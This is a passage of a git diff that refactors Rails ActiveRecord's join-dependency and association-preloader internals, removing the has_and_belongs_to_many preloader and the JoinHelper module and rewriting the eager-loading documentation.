+ column_aliases = aliases.column_aliases join_root
+
+ message_bus = ActiveSupport::Notifications.instrumenter
+
+ payload = {
+ record_count: result_set.length,
+ class_name: join_root.base_klass.name
+ }
+
+ message_bus.instrument('instantiation.active_record', payload) do
+ result_set.each { |row_hash|
+ parent = parents[row_hash[primary_key]] ||= join_root.instantiate(row_hash, column_aliases)
+ construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases)
+ }
end
+
+ parents.values
end
- def build_join_association(reflection, parent)
- JoinAssociation.new(reflection, self, parent)
+ private
+
+ def make_constraints(parent, child, tables, join_type)
+ chain = child.reflection.chain
+ foreign_table = parent.table
+ foreign_klass = parent.base_klass
+ child.join_constraints(foreign_table, foreign_klass, child, join_type, tables, child.reflection.scope_chain, chain)
end
- def construct(parent, associations, join_parts, row)
- case associations
- when Symbol, String
- name = associations.to_s
+ def make_outer_joins(parent, child)
+ tables = table_aliases_for(parent, child)
+ join_type = Arel::Nodes::OuterJoin
+ info = make_constraints parent, child, tables, join_type
- join_part = join_parts.detect { |j|
- j.reflection.name.to_s == name &&
- j.parent_table_name == parent.class.table_name }
+ [info] + child.children.flat_map { |c| make_outer_joins(child, c) }
+ end
- raise(ConfigurationError, "No such association") unless join_part
+ def make_inner_joins(parent, child)
+ tables = child.tables
+ join_type = Arel::Nodes::InnerJoin
+ info = make_constraints parent, child, tables, join_type
- join_parts.delete(join_part)
- construct_association(parent, join_part, row)
- when Array
- associations.each do |association|
- construct(parent, association, join_parts, row)
- end
- when Hash
- associations.sort_by { |k,_| k.to_s }.each do |association_name, assoc|
- association = construct(parent, association_name, join_parts, row)
- construct(association, assoc, join_parts, row) if association
+ [info] + child.children.flat_map { |c| make_inner_joins(child, c) }
+ end
+
+ def table_aliases_for(parent, node)
+ node.reflection.chain.map { |reflection|
+ alias_tracker.aliased_table_for(
+ reflection.table_name,
+ table_alias_for(reflection, parent, reflection != node.reflection)
+ )
+ }
+ end
+
+ def construct_tables!(parent, node)
+ node.tables = table_aliases_for(parent, node)
+ node.children.each { |child| construct_tables! node, child }
+ end
+
+ def table_alias_for(reflection, parent, join)
+ name = "#{reflection.plural_name}_#{parent.table_name}"
+ name << "_join" if join
+ name
+ end
+
+ def walk(left, right)
+ intersection, missing = right.children.map { |node1|
+ [left.children.find { |node2| node1.match? node2 }, node1]
+ }.partition(&:first)
+
+ ojs = missing.flat_map { |_,n| make_outer_joins left, n }
+ intersection.flat_map { |l,r| walk l, r }.concat ojs
+ end
+
+ def find_reflection(klass, name)
+ klass._reflect_on_association(name) or
+ raise ConfigurationError, "Association named '#{ name }' was not found on #{ klass.name }; perhaps you misspelled it?"
+ end
+
+ def build(associations, base_klass)
+ associations.map do |name, right|
+ reflection = find_reflection base_klass, name
+ reflection.check_validity!
+ reflection.check_eager_loadable!
+
+ if reflection.polymorphic?
+ raise EagerLoadPolymorphicError.new(reflection)
end
- else
- raise ConfigurationError, associations.inspect
+
+ JoinAssociation.new reflection, build(right, reflection.klass)
end
end
- def construct_association(record, join_part, row)
- return if record.id.to_s != join_part.parent.record_id(row).to_s
+ def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
+ primary_id = ar_parent.id
- macro = join_part.reflection.macro
- if macro == :has_one
- return record.association(join_part.reflection.name).target if record.association_cache.key?(join_part.reflection.name)
- association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
- set_target_and_inverse(join_part, association, record)
- else
- association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
- case macro
- when :has_many, :has_and_belongs_to_many
- other = record.association(join_part.reflection.name)
+ parent.children.each do |node|
+ if node.reflection.collection?
+ other = ar_parent.association(node.reflection.name)
other.loaded!
- other.target.push(association) if association
- other.set_inverse_instance(association)
- when :belongs_to
- set_target_and_inverse(join_part, association, record)
else
- raise ConfigurationError, "unknown macro: #{join_part.reflection.macro}"
+ if ar_parent.association_cache.key?(node.reflection.name)
+ model = ar_parent.association(node.reflection.name).target
+ construct(model, node, row, rs, seen, model_cache, aliases)
+ next
+ end
+ end
+
+ key = aliases.column_alias(node, node.primary_key)
+ id = row[key]
+ next if id.nil?
+
+ model = seen[parent.base_klass][primary_id][node.base_klass][id]
+
+ if model
+ construct(model, node, row, rs, seen, model_cache, aliases)
+ else
+ model = construct_model(ar_parent, node, row, model_cache, id, aliases)
+ seen[parent.base_klass][primary_id][node.base_klass][id] = model
+ construct(model, node, row, rs, seen, model_cache, aliases)
end
end
- association
end
- def set_target_and_inverse(join_part, association, record)
- other = record.association(join_part.reflection.name)
- other.target = association
- other.set_inverse_instance(association)
+ def construct_model(record, node, row, model_cache, id, aliases)
+ model = model_cache[node][id] ||= node.instantiate(row,
+ aliases.column_aliases(node))
+ other = record.association(node.reflection.name)
+
+ if node.reflection.collection?
+ other.target.push(model)
+ else
+ other.target = model
+ end
+
+ other.set_inverse_instance(model)
+ model
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
index 0d3b4dbab1..5dede5527d 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -1,153 +1,121 @@
+require 'active_record/associations/join_dependency/join_part'
+
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
class JoinAssociation < JoinPart # :nodoc:
- include JoinHelper
-
# The reflection of the association represented
attr_reader :reflection
- # The JoinDependency object which this JoinAssociation exists within. This is mainly
- # relevant for generating aliases which do not conflict with other joins which are
- # part of the query.
- attr_reader :join_dependency
-
- # A JoinBase instance representing the active record we are joining onto.
- # (So in Author.has_many :posts, the Author would be that base record.)
- attr_reader :parent
-
- # What type of join will be generated, either Arel::InnerJoin (default) or Arel::OuterJoin
- attr_accessor :join_type
-
- # These implement abstract methods from the superclass
- attr_reader :aliased_prefix
-
- attr_reader :tables
-
- delegate :options, :through_reflection, :source_reflection, :chain, :to => :reflection
- delegate :table, :table_name, :to => :parent, :prefix => :parent
- delegate :alias_tracker, :to => :join_dependency
+ attr_accessor :tables
- alias :alias_suffix :parent_table_name
-
- def initialize(reflection, join_dependency, parent = nil)
- reflection.check_validity!
-
- if reflection.options[:polymorphic]
- raise EagerLoadPolymorphicError.new(reflection)
- end
-
- super(reflection.klass)
+ def initialize(reflection, children)
+ super(reflection.klass, children)
@reflection = reflection
- @join_dependency = join_dependency
- @parent = parent
- @join_type = Arel::InnerJoin
- @aliased_prefix = "t#{ join_dependency.join_parts.size }"
- @tables = construct_tables.reverse
+ @tables = nil
end
- def ==(other)
- other.class == self.class &&
- other.reflection == reflection &&
- other.parent == parent
+ def match?(other)
+ return true if self == other
+ super && reflection == other.reflection
end
- def find_parent_in(other_join_dependency)
- other_join_dependency.join_parts.detect do |join_part|
- parent == join_part
- end
- end
+ JoinInformation = Struct.new :joins, :binds
- def join_to(relation)
- tables = @tables.dup
- foreign_table = parent_table
- foreign_klass = parent.active_record
+ def join_constraints(foreign_table, foreign_klass, node, join_type, tables, scope_chain, chain)
+ joins = []
+ bind_values = []
+ tables = tables.reverse
+
+ scope_chain_index = 0
+ scope_chain = scope_chain.reverse
# The chain starts with the target table, but we want to end with it here (makes
# more sense in this context), so we reverse
- chain.reverse.each_with_index do |reflection, i|
+ chain.reverse_each do |reflection|
table = tables.shift
+ klass = reflection.klass
+
+ join_keys = reflection.join_keys(klass)
+ key = join_keys.key
+ foreign_key = join_keys.foreign_key
- case reflection.source_macro
- when :belongs_to
- key = reflection.association_primary_key
- foreign_key = reflection.foreign_key
- when :has_and_belongs_to_many
- # Join the join table first...
- relation.from(join(
- table,
- table[reflection.foreign_key].
- eq(foreign_table[reflection.active_record_primary_key])
- ))
-
- foreign_table, table = table, tables.shift
-
- key = reflection.association_primary_key
- foreign_key = reflection.association_foreign_key
- else
- key = reflection.foreign_key
- foreign_key = reflection.active_record_primary_key
+ constraint = build_constraint(klass, table, key, foreign_table, foreign_key)
+
+ scope_chain_items = scope_chain[scope_chain_index].map do |item|
+ if item.is_a?(Relation)
+ item
+ else
+ ActiveRecord::Relation.create(klass, table).instance_exec(node, &item)
+ end
end
+ scope_chain_index += 1
- constraint = build_constraint(reflection, table, key, foreign_table, foreign_key)
+ scope_chain_items.concat [klass.send(:build_default_scope, ActiveRecord::Relation.create(klass, table))].compact
- scope_chain_items = scope_chain[i]
+ rel = scope_chain_items.inject(scope_chain_items.shift) do |left, right|
+ left.merge right
+ end
- if reflection.type
- scope_chain_items += [
- ActiveRecord::Relation.new(reflection.klass, table)
- .where(reflection.type => foreign_klass.base_class.name)
- ]
+ if rel && !rel.arel.constraints.empty?
+ bind_values.concat rel.bind_values
+ constraint = constraint.and rel.arel.constraints
end
- scope_chain_items.each do |item|
- unless item.is_a?(Relation)
- item = ActiveRecord::Relation.new(reflection.klass, table).instance_exec(self, &item)
- end
+ if reflection.type
+ value = foreign_klass.base_class.name
+ column = klass.columns_hash[reflection.type.to_s]
- constraint = constraint.and(item.arel.constraints) unless item.arel.constraints.empty?
+ substitute = klass.connection.substitute_at(column)
+ bind_values.push [column, value]
+ constraint = constraint.and table[reflection.type].eq substitute
end
- relation.from(join(table, constraint))
+ joins << table.create_join(table, table.create_on(constraint), join_type)
# The current table in this iteration becomes the foreign table in the next
- foreign_table, foreign_klass = table, reflection.klass
+ foreign_table, foreign_klass = table, klass
end
- relation
+ JoinInformation.new joins, bind_values
end
- def build_constraint(reflection, table, key, foreign_table, foreign_key)
+ # Builds equality condition.
+ #
+ # Example:
+ #
+ # class Physician < ActiveRecord::Base
+ # has_many :appointments
+ # end
+ #
+ # If I execute `Physician.joins(:appointments).to_a` then
+ # klass # => Physician
+ # table # => #<Arel::Table @name="appointments" ...>
+ # key # => physician_id
+ # foreign_table # => #<Arel::Table @name="physicians" ...>
+ # foreign_key # => id
+ #
+ def build_constraint(klass, table, key, foreign_table, foreign_key)
constraint = table[key].eq(foreign_table[foreign_key])
- if reflection.klass.finder_needs_type_condition?
+ if klass.finder_needs_type_condition?
constraint = table.create_and([
constraint,
- reflection.klass.send(:type_condition, table)
+ klass.send(:type_condition, table)
])
end
constraint
end
- def join_relation(joining_relation)
- self.join_type = Arel::OuterJoin
- joining_relation.joins(self)
- end
-
def table
- tables.last
+ tables.first
end
def aliased_table_name
table.table_alias || table.name
end
-
- def scope_chain
- @scope_chain ||= reflection.scope_chain.reverse
- end
-
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
index 3920e84976..3a26c25737 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_base.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -1,22 +1,20 @@
+require 'active_record/associations/join_dependency/join_part'
+
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
class JoinBase < JoinPart # :nodoc:
- def ==(other)
- other.class == self.class &&
- other.active_record == active_record
- end
-
- def aliased_prefix
- "t0"
+ def match?(other)
+ return true if self == other
+ super && base_klass == other.base_klass
end
def table
- Arel::Table.new(table_name, arel_engine)
+ base_klass.arel_table
end
def aliased_table_name
- active_record.table_name
+ base_klass.table_name
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
index 711f7b3ce1..9c6573f913 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_part.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -1,41 +1,42 @@
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
- # A JoinPart represents a part of a JoinDependency. It is an abstract class, inherited
+ # A JoinPart represents a part of a JoinDependency. It is inherited
# by JoinBase and JoinAssociation. A JoinBase represents the Active Record which
# everything else is being joined onto. A JoinAssociation represents an association which
# is joining to the base. A JoinAssociation may result in more than one actual join
# operations (for example a has_and_belongs_to_many JoinAssociation would result in
# two; one for the join table and one for the target table).
class JoinPart # :nodoc:
+ include Enumerable
+
# The Active Record class which this join part is associated 'about'; for a JoinBase
# this is the actual base model, for a JoinAssociation this is the target model of the
# association.
- attr_reader :active_record
+ attr_reader :base_klass, :children
- delegate :table_name, :column_names, :primary_key, :reflections, :arel_engine, :to => :active_record
+ delegate :table_name, :column_names, :primary_key, :to => :base_klass
- def initialize(active_record)
- @active_record = active_record
- @cached_record = {}
- @column_names_with_alias = nil
+ def initialize(base_klass, children)
+ @base_klass = base_klass
+ @children = children
end
- def aliased_table
- Arel::Nodes::TableAlias.new table, aliased_table_name
+ def name
+ reflection.name
end
- def ==(other)
- raise NotImplementedError
+ def match?(other)
+ self.class == other.class
end
- # An Arel::Table for the active_record
- def table
- raise NotImplementedError
+ def each(&block)
+ yield self
+ children.each { |child| child.each(&block) }
end
- # The prefix to be used when aliasing columns in the active_record's table
- def aliased_prefix
+ # An Arel::Table for the active_record
+ def table
raise NotImplementedError
end
@@ -44,33 +45,25 @@ module ActiveRecord
raise NotImplementedError
end
- # The alias for the primary key of the active_record's table
- def aliased_primary_key
- "#{aliased_prefix}_r0"
- end
+ def extract_record(row, column_names_with_alias)
+ # This code is performance critical as it is called per row.
+ # see: https://github.com/rails/rails/pull/12185
+ hash = {}
- # An array of [column_name, alias] pairs for the table
- def column_names_with_alias
- unless @column_names_with_alias
- @column_names_with_alias = []
+ index = 0
+ length = column_names_with_alias.length
- ([primary_key] + (column_names - [primary_key])).compact.each_with_index do |column_name, i|
- @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
- end
+ while index < length
+ column_name, alias_name = column_names_with_alias[index]
+ hash[column_name] = row[alias_name]
+ index += 1
end
- @column_names_with_alias
- end
-
- def extract_record(row)
- Hash[column_names_with_alias.map{|cn, an| [cn, row[an]]}]
- end
- def record_id(row)
- row[aliased_primary_key]
+ hash
end
- def instantiate(row)
- @cached_record[record_id(row)] ||= active_record.send(:instantiate, extract_record(row))
+ def instantiate(row, aliases)
+ base_klass.instantiate(extract_record(row, aliases))
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb
deleted file mode 100644
index 5a41b40c8f..0000000000
--- a/activerecord/lib/active_record/associations/join_helper.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveRecord
- module Associations
- # Helper class module which gets mixed into JoinDependency::JoinAssociation and AssociationScope
- module JoinHelper #:nodoc:
-
- def join_type
- Arel::InnerJoin
- end
-
- private
-
- def construct_tables
- tables = []
- chain.each do |reflection|
- tables << alias_tracker.aliased_table_for(
- table_name_for(reflection),
- table_alias_for(reflection, reflection != self.reflection)
- )
-
- if reflection.source_macro == :has_and_belongs_to_many
- tables << alias_tracker.aliased_table_for(
- (reflection.source_reflection || reflection).join_table,
- table_alias_for(reflection, true)
- )
- end
- end
- tables
- end
-
- def table_name_for(reflection)
- reflection.table_name
- end
-
- def table_alias_for(reflection, join = false)
- name = "#{reflection.plural_name}_#{alias_suffix}"
- name << "_join" if join
- name
- end
-
- def join(table, constraint)
- table.create_join(table, table.create_on(constraint), join_type)
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index 0848e7afb3..4358f3b581 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -2,33 +2,42 @@ module ActiveRecord
module Associations
# Implements the details of eager loading of Active Record associations.
#
- # Note that 'eager loading' and 'preloading' are actually the same thing.
- # However, there are two different eager loading strategies.
+ # Suppose that you have the following two Active Record models:
#
- # The first one is by using table joins. This was only strategy available
- # prior to Rails 2.1. Suppose that you have an Author model with columns
- # 'name' and 'age', and a Book model with columns 'name' and 'sales'. Using
- # this strategy, Active Record would try to retrieve all data for an author
- # and all of its books via a single query:
+ # class Author < ActiveRecord::Base
+ # # columns: name, age
+ # has_many :books
+ # end
#
- # SELECT * FROM authors
- # LEFT OUTER JOIN books ON authors.id = books.author_id
- # WHERE authors.name = 'Ken Akamatsu'
+ # class Book < ActiveRecord::Base
+ # # columns: title, sales
+ # end
#
- # However, this could result in many rows that contain redundant data. After
- # having received the first row, we already have enough data to instantiate
- # the Author object. In all subsequent rows, only the data for the joined
- # 'books' table is useful; the joined 'authors' data is just redundant, and
- # processing this redundant data takes memory and CPU time. The problem
- # quickly becomes worse and worse as the level of eager loading increases
- # (i.e. if Active Record is to eager load the associations' associations as
- # well).
+ # When you load an author with all associated books Active Record will make
+ # multiple queries like this:
+ #
+ # Author.includes(:books).where(:name => ['bell hooks', 'Homer').to_a
+ #
+ # => SELECT `authors`.* FROM `authors` WHERE `name` IN ('bell hooks', 'Homer')
+ # => SELECT `books`.* FROM `books` WHERE `author_id` IN (2, 5)
+ #
+ # Active Record saves the ids of the records from the first query to use in
+ # the second. Depending on the number of associations involved there can be
+ # arbitrarily many SQL queries made.
+ #
+ # However, if there is a WHERE clause that spans across tables Active
+ # Record will fall back to a slightly more resource-intensive single query:
+ #
+ # Author.includes(:books).where(books: {title: 'Illiad'}).to_a
+ # => SELECT `authors`.`id` AS t0_r0, `authors`.`name` AS t0_r1, `authors`.`age` AS t0_r2,
+ # `books`.`id` AS t1_r0, `books`.`title` AS t1_r1, `books`.`sales` AS t1_r2
+ # FROM `authors`
+ # LEFT OUTER JOIN `books` ON `authors`.`id` = `books`.`author_id`
+ # WHERE `books`.`title` = 'Illiad'
+ #
+ # This could result in many rows that contain redundant data and it performs poorly at scale
+ # and is therefore only used when necessary.
#
- # The second strategy is to use multiple database queries, one for each
- # level of association. Since Rails 2.1, this is the default strategy. In
- # situations where a table join is necessary (e.g. when the +:conditions+
- # option references an association's column), it will fallback to the table
- # join strategy.
class Preloader #:nodoc:
extend ActiveSupport::Autoload
@@ -42,12 +51,9 @@ module ActiveRecord
autoload :HasManyThrough, 'active_record/associations/preloader/has_many_through'
autoload :HasOne, 'active_record/associations/preloader/has_one'
autoload :HasOneThrough, 'active_record/associations/preloader/has_one_through'
- autoload :HasAndBelongsToMany, 'active_record/associations/preloader/has_and_belongs_to_many'
autoload :BelongsTo, 'active_record/associations/preloader/belongs_to'
end
- attr_reader :records, :associations, :preload_scope, :model
-
# Eager loads the named associations for the given Active Record record(s).
#
# In this description, 'association name' shall refer to the name passed
@@ -82,36 +88,48 @@ module ActiveRecord
# [ :books, :author ]
# { author: :avatar }
# [ :books, { author: :avatar } ]
- def initialize(records, associations, preload_scope = nil)
- @records = Array.wrap(records).compact.uniq
- @associations = Array.wrap(associations)
- @preload_scope = preload_scope || Relation.new(nil, nil)
- end
- def run
- unless records.empty?
- associations.each { |association| preload(association) }
+ NULL_RELATION = Struct.new(:values, :bind_values).new({}, [])
+
+ def preload(records, associations, preload_scope = nil)
+ records = Array.wrap(records).compact.uniq
+ associations = Array.wrap(associations)
+ preload_scope = preload_scope || NULL_RELATION
+
+ if records.empty?
+ []
+ else
+ associations.flat_map { |association|
+ preloaders_on association, records, preload_scope
+ }
end
end
private
- def preload(association)
+ def preloaders_on(association, records, scope)
case association
when Hash
- preload_hash(association)
- when String, Symbol
- preload_one(association.to_sym)
+ preloaders_for_hash(association, records, scope)
+ when Symbol
+ preloaders_for_one(association, records, scope)
+ when String
+ preloaders_for_one(association.to_sym, records, scope)
else
raise ArgumentError, "#{association.inspect} was not recognised for preload"
end
end
- def preload_hash(association)
- association.each do |parent, child|
- Preloader.new(records, parent, preload_scope).run
- Preloader.new(records.map { |record| record.send(parent) }.flatten, child).run
- end
+ def preloaders_for_hash(association, records, scope)
+ association.flat_map { |parent, child|
+ loaders = preloaders_for_one parent, records, scope
+
+ recs = loaders.flat_map(&:preloaded_records).uniq
+ loaders.concat Array.wrap(child).flat_map { |assoc|
+ preloaders_on assoc, recs, scope
+ }
+ loaders
+ }
end
# Not all records have the same class, so group then preload group on the reflection
@@ -121,52 +139,61 @@ module ActiveRecord
# Additionally, polymorphic belongs_to associations can have multiple associated
# classes, depending on the polymorphic_type field. So we group by the classes as
# well.
- def preload_one(association)
- grouped_records(association).each do |reflection, klasses|
- klasses.each do |klass, records|
- preloader_for(reflection).new(klass, records, reflection, preload_scope).run
+ def preloaders_for_one(association, records, scope)
+ grouped_records(association, records).flat_map do |reflection, klasses|
+ klasses.map do |rhs_klass, rs|
+ loader = preloader_for(reflection, rs, rhs_klass).new(rhs_klass, rs, reflection, scope)
+ loader.run self
+ loader
end
end
end
- def grouped_records(association)
- Hash[
- records_by_reflection(association).map do |reflection, records|
- [reflection, records.group_by { |record| association_klass(reflection, record) }]
- end
- ]
+ def grouped_records(association, records)
+ h = {}
+ records.each do |record|
+ next unless record
+ assoc = record.association(association)
+ klasses = h[assoc.reflection] ||= {}
+ (klasses[assoc.klass] ||= []) << record
+ end
+ h
end
- def records_by_reflection(association)
- records.group_by do |record|
- reflection = record.class.reflections[association]
+ class AlreadyLoaded
+ attr_reader :owners, :reflection
- unless reflection
- raise ActiveRecord::ConfigurationError, "Association named '#{association}' was not found; " \
- "perhaps you misspelled it?"
- end
+ def initialize(klass, owners, reflection, preload_scope)
+ @owners = owners
+ @reflection = reflection
+ end
+
+ def run(preloader); end
- reflection
+ def preloaded_records
+ owners.flat_map { |owner| owner.association(reflection.name).target }
end
end
- def association_klass(reflection, record)
- if reflection.macro == :belongs_to && reflection.options[:polymorphic]
- klass = record.send(reflection.foreign_type)
- klass && klass.constantize
- else
- reflection.klass
- end
+ class NullPreloader
+ def self.new(klass, owners, reflection, preload_scope); self; end
+ def self.run(preloader); end
+ def self.preloaded_records; []; end
end
- def preloader_for(reflection)
+ def preloader_for(reflection, owners, rhs_klass)
+ return NullPreloader unless rhs_klass
+
+ if owners.first.association(reflection.name).loaded?
+ return AlreadyLoaded
+ end
+ reflection.check_preloadable!
+
case reflection.macro
when :has_many
reflection.options[:through] ? HasManyThrough : HasMany
when :has_one
reflection.options[:through] ? HasOneThrough : HasOne
- when :has_and_belongs_to_many
- HasAndBelongsToMany
when :belongs_to
BelongsTo
end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
index cbf5e734ea..7d6523dbc4 100644
--- a/activerecord/lib/active_record/associations/preloader/association.rb
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -3,6 +3,7 @@ module ActiveRecord
class Preloader
class Association #:nodoc:
attr_reader :owners, :reflection, :preload_scope, :model, :klass
+ attr_reader :preloaded_records
def initialize(klass, owners, reflection, preload_scope)
@klass = klass
@@ -12,15 +13,14 @@ module ActiveRecord
@model = owners.first && owners.first.class
@scope = nil
@owners_by_key = nil
+ @preloaded_records = []
end
- def run
- unless owners.first.association(reflection.name).loaded?
- preload
- end
+ def run(preloader)
+ preload(preloader)
end
- def preload
+ def preload(preloader)
raise NotImplementedError
end
@@ -29,6 +29,10 @@ module ActiveRecord
end
def records_for(ids)
+ query_scope(ids)
+ end
+
+ def query_scope(ids)
scope.where(association_key.in(ids))
end
@@ -52,13 +56,16 @@ module ActiveRecord
raise NotImplementedError
end
- # We're converting to a string here because postgres will return the aliased association
- # key in a habtm as a string (for whatever reason)
def owners_by_key
- @owners_by_key ||= owners.group_by do |owner|
- key = owner[owner_key_name]
- key && key.to_s
- end
+ @owners_by_key ||= if key_conversion_required?
+ owners.group_by do |owner|
+ owner[owner_key_name].to_s
+ end
+ else
+ owners.group_by do |owner|
+ owner[owner_key_name]
+ end
+ end
end
def options
@@ -67,53 +74,87 @@ module ActiveRecord
private
- def associated_records_by_owner
+ def associated_records_by_owner(preloader)
owners_map = owners_by_key
owner_keys = owners_map.keys.compact
- if klass.nil? || owner_keys.empty?
- records = []
- else
- # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
- # Make several smaller queries if necessary or make one query if the adapter supports it
- sliced = owner_keys.each_slice(model.connection.in_clause_length || owner_keys.size)
- records = sliced.map { |slice| records_for(slice).to_a }.flatten
+ # Each record may have multiple owners, and vice-versa
+ records_by_owner = owners.each_with_object({}) do |owner,h|
+ h[owner] = []
end
- # Each record may have multiple owners, and vice-versa
- records_by_owner = Hash[owners.map { |owner| [owner, []] }]
- records.each do |record|
- owner_key = record[association_key_name].to_s
+ if owner_keys.any?
+ # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
+ # Make several smaller queries if necessary or make one query if the adapter supports it
+ sliced = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
- owners_map[owner_key].each do |owner|
- records_by_owner[owner] << record
+ records = load_slices sliced
+ records.each do |record, owner_key|
+ owners_map[owner_key].each do |owner|
+ records_by_owner[owner] << record
+ end
end
end
+
records_by_owner
end
+ def key_conversion_required?
+ association_key_type != owner_key_type
+ end
+
+ def association_key_type
+ @klass.type_for_attribute(association_key_name.to_s).type
+ end
+
+ def owner_key_type
+ @model.type_for_attribute(owner_key_name.to_s).type
+ end
+
+ def load_slices(slices)
+ @preloaded_records = slices.flat_map { |slice|
+ records_for(slice)
+ }
+
+ @preloaded_records.map { |record|
+ key = record[association_key_name]
+ key = key.to_s if key_conversion_required?
+
+ [record, key]
+ }
+ end
+
def reflection_scope
@reflection_scope ||= reflection.scope ? klass.unscoped.instance_exec(nil, &reflection.scope) : klass.unscoped
end
def build_scope
scope = klass.unscoped
- scope.default_scoped = true
values = reflection_scope.values
+ reflection_binds = reflection_scope.bind_values
preload_values = preload_scope.values
+ preload_binds = preload_scope.bind_values
scope.where_values = Array(values[:where]) + Array(preload_values[:where])
scope.references_values = Array(values[:references]) + Array(preload_values[:references])
+ scope.bind_values = (reflection_binds + preload_binds)
- scope.select! preload_values[:select] || values[:select] || table[Arel.star]
+ scope._select! preload_values[:select] || values[:select] || table[Arel.star]
scope.includes! preload_values[:includes] || values[:includes]
+ scope.joins! preload_values[:joins] || values[:joins]
+ scope.order! preload_values[:order] || values[:order]
+
+ if preload_values[:readonly] || values[:readonly]
+ scope.readonly!
+ end
if options[:as]
scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
end
- scope
+ scope.unscope_values = Array(values[:unscope])
+ klass.default_scoped.merge(scope)
end
end
end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
index e6cd35e7a1..5adffcd831 100644
--- a/activerecord/lib/active_record/associations/preloader/collection_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -9,8 +9,8 @@ module ActiveRecord
super.order(preload_scope.values[:order] || reflection_scope.values[:order])
end
- def preload
- associated_records_by_owner.each do |owner, records|
+ def preload(preloader)
+ associated_records_by_owner(preloader).each do |owner, records|
association = owner.association(reflection.name)
association.loaded!
association.target.concat(records)
diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
deleted file mode 100644
index 8e8925f0a9..0000000000
--- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-module ActiveRecord
- module Associations
- class Preloader
- class HasAndBelongsToMany < CollectionAssociation #:nodoc:
- attr_reader :join_table
-
- def initialize(klass, records, reflection, preload_options)
- super
- @join_table = Arel::Table.new(reflection.join_table).alias('t0')
- end
-
- # Unlike the other associations, we want to get a raw array of rows so that we can
- # access the aliased column on the join table
- def records_for(ids)
- scope = super
- klass.connection.select_all(scope.arel, 'SQL', scope.bind_values)
- end
-
- def owner_key_name
- reflection.active_record_primary_key
- end
-
- def association_key_name
- 'ar_association_key_name'
- end
-
- def association_key
- join_table[reflection.foreign_key]
- end
-
- private
-
- # Once we have used the join table column (in super), we manually instantiate the
- # actual records, ensuring that we don't create more than one instances of the same
- # record
- def associated_records_by_owner
- records = {}
- super.each do |owner_key, rows|
- rows.map! { |row| records[row[klass.primary_key]] ||= klass.instantiate(row) }
- end
- end
-
- def build_scope
- super.joins(join).select(join_select)
- end
-
- def join_select
- association_key.as(Arel.sql(association_key_name))
- end
-
- def join
- condition = table[reflection.association_primary_key].eq(
- join_table[reflection.association_foreign_key])
-
- table.create_join(join_table, table.create_on(condition))
- end
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
index 9a662d3f53..2029871f39 100644
--- a/activerecord/lib/active_record/associations/preloader/has_many_through.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -4,10 +4,14 @@ module ActiveRecord
class HasManyThrough < CollectionAssociation #:nodoc:
include ThroughAssociation
- def associated_records_by_owner
- super.each do |owner, records|
- records.uniq! if reflection_scope.uniq_value
+ def associated_records_by_owner(preloader)
+ records_by_owner = super
+
+ if reflection_scope.distinct_value
+ records_by_owner.each_value(&:uniq!)
end
+
+ records_by_owner
end
end
end
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
index 44e804d785..f60647a81e 100644
--- a/activerecord/lib/active_record/associations/preloader/singular_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -5,13 +5,13 @@ module ActiveRecord
private
- def preload
- associated_records_by_owner.each do |owner, associated_records|
+ def preload(preloader)
+ associated_records_by_owner(preloader).each do |owner, associated_records|
record = associated_records.first
association = owner.association(reflection.name)
association.target = record
- association.set_inverse_instance(record)
+ association.set_inverse_instance(record) if record
end
end
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
index 1c1ba11c44..12bf3ef138 100644
--- a/activerecord/lib/active_record/associations/preloader/through_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -2,7 +2,6 @@ module ActiveRecord
module Associations
class Preloader
